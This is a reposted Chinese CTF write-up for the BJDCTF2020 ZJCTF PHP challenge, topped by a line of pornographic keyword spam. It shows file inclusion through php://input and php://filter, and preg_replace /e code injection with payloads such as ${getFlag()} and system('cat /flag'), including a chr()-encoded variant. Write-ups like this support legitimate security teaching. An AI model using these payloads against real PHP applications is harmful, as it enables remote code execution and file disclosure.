日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

ctf php正则截断,记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题

發布時間:2023/12/20 php 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 ctf php正则截断,记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

題目一上來就直接放出一段代碼,那么話不多說,直接進行代碼設計。

error_reporting(0);

$text = $_GET["text"];

$file = $_GET["file"];

if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){

echo "

".file_get_contents($text,'r')."

";

if(preg_match("/flag/",$file)){

die("Not now!");

}

include($file); //next.php

}

else{

highlight_file(__FILE__);

}

?>

從這里我們不難看出

需要傳入text和file 兩個參數

text不能為空且需要file_get_contents($text,‘r’)“等于I have a dream”

file對flag進行了過濾,因此我們不能直接getflag

源碼給出了提示,我們可以對這個next.php想辦法。

這里我們以此來解決問題

首先file_get_contents()是從文件中讀取數據,但是這里我們是需要從text參數中獲取,因此我們需要使用到php的偽協議 php://input

php://input 是個可以訪問請求的原始數據的只讀流。通過它可以讀取沒有處理過的POST數據,從而為file_get_contents()提供數據源

直接include(‘next.php’)沒有任何有用的回顯,因此我們可以利用文件包含漏洞來讀取源代碼,這里用到了另一個php偽協議php://filter

php://filter 是php中獨有的一個協議,可以作為一個中間流來處理其他流,可以進行任意文件的讀取.

常見的構造方法形如 :

php://filter/read=convert.base64-encode/recource=index.php

該語句會將index.php的源碼內容讀取并轉換成base64編碼,配合include()就可以顯示在頁面上。

總上所述我們可以構造如下payload

POST /?text=php://input&file=PHP://filter/read%3dconvert.base64-encode/resource%3dnext.php HTTP/1.1

Host: ca6d6997-743e-4428-8758-310ee98d80d5.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: UM_distinctid=175ba1a882d28-0fc3a4b8b8c4e7-4c302372-1fa400-175ba1a882e130

Upgrade-Insecure-Requests: 1

Content-Length: 14

Content-Type: application/x-www-form-urlencoded

I have a dream

成功獲得源碼的base64轉義

>PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

轉義后的源碼為

$id = $_GET['id'];

$_SESSION['id'] = $id;

function complex($re, $str) {

return preg_replace(

'/(' . $re . ')/ei',

'strtolower("\\1")',

$str

);

}

foreach($_GET as $re => $str) {

echo complex($re, $str). "\n";

}

function getFlag(){

@eval($_GET['cmd']);

}

又是一個新的代碼審計內容,通過分析我們可以知道

該php會遍歷所有get出傳入的參數并complex(re,str)函數,其中re為出傳入的參數名,str為對應的值

getFlag函數有執行eval的權限,應該就是我們最終的目標

complex返回grep_replace()的結果,而grep_replace()在/e的匹配模式下,會將替換后的字符串作為php代碼執行。

因此我們的最終目標就是利用grep_replace()達到執行getFlag函數的目的。

接下來就是對grep_replace()的具體分析

preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str )

簡單的介紹一下preg_replace

preg_replace ($pattern , $replacement , $subject )

其中 $pattern為正則表達式

$replacement為替換字符串

$subject 為要搜索替換的目標字符串或字符串數組

這個函數存在一些奇異的地方,正則表達式$pattern以/e結尾時$replacement的值會被作為php函數執行。

例如執行 preg_replace (‘/test/e’ , "phpinfo();" , "test" )

“test”會被替換為phpinfo();并執行。

再來分析一下題目中的表達式

匹配規則和被匹配字符串我們都可以控制

這兒的strtolower("\1")有點特別,通過查閱資料\1表示取出正則匹配后的第一個子匹配中的第一項。

舉個例子,

preg_replace('/(\S)(\S)/i','strtolower("\\1")', "123Abc")

// \S表示匹配任何非空白字符,()表示匹配的子串

就會被替換成

strtolower("1")strtolower("3")strtolower("b")

其中大致的處理過程可以分解成這樣

php對123Abc進行匹配,正則表達式為(\S)(\S),匹配任意2個非空字符

正則首先匹配到的是[’1‘ ,’2‘],然后將其替換成strtolower("\1"),又因為\1會匹配第一個子串,所以strtolower("\1")就變成了strtolower(“1”)

然后重復順序的進行如上匹配規則執行,就有了上面的最終匹配結果。

回到題目上來,如何讓strtolower("")里面的內容當作函數被執行呢?這里有一個知識點

在php中,雙引號里面如果包含有變量,php解釋器會將其替換為變量解釋后的結果;單引號中的變量不會被處理。也就是說我們可以構造一個變量來達到執行命令的目的。

通過{${}}可以構造特殊的變量。

echo "{${phpinfo()}}";

echo "${phpinfo()}";

注:在5.5及以上版本下,第二種寫法也可以生效,實測5.3/5.4會報錯

構造上述的變量,phpinfo就會被執行。

感興趣的可以參考

https://www.cnblogs.com/dhsx/p/4991983.html

知道了這個我們的大概思路就出來了

構造正則表達式匹配字符串

構造字符串調用getFlag()函數

cmd傳入命令獲取flag

那么現在只剩下如何構造正則表達式,通常會使用

.來匹配任意字符串,但是本題目中GET參數中傳入的.會被php的安全機制替換成_,導致正則匹配失敗。我們可以通過\S來實現匹配。

注:

\S 匹配任意非空白字符(空白字符如回車、換行、分頁等 )

. 匹配任意字符但不包含回車換行

* 貪婪模式,匹配任意次的最大長度

( ) 合并整體匹配,并放入內存,可使用\1 \2...依次獲取

最終payload

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

這里構造

/next.php?\S*={${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}}

也是可以的,此處用chr()表示字符是因為直接使用‘”符號就導致閉合出現問題。

成功獲取flag

標簽:BJDCTF2020,匹配,ZJCTF,replace,chr,file,strtolower,php

來源: https://blog.csdn.net/xiayu729100940/article/details/112478012

總結

以上是生活随笔為你收集整理的ctf php正则截断,记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。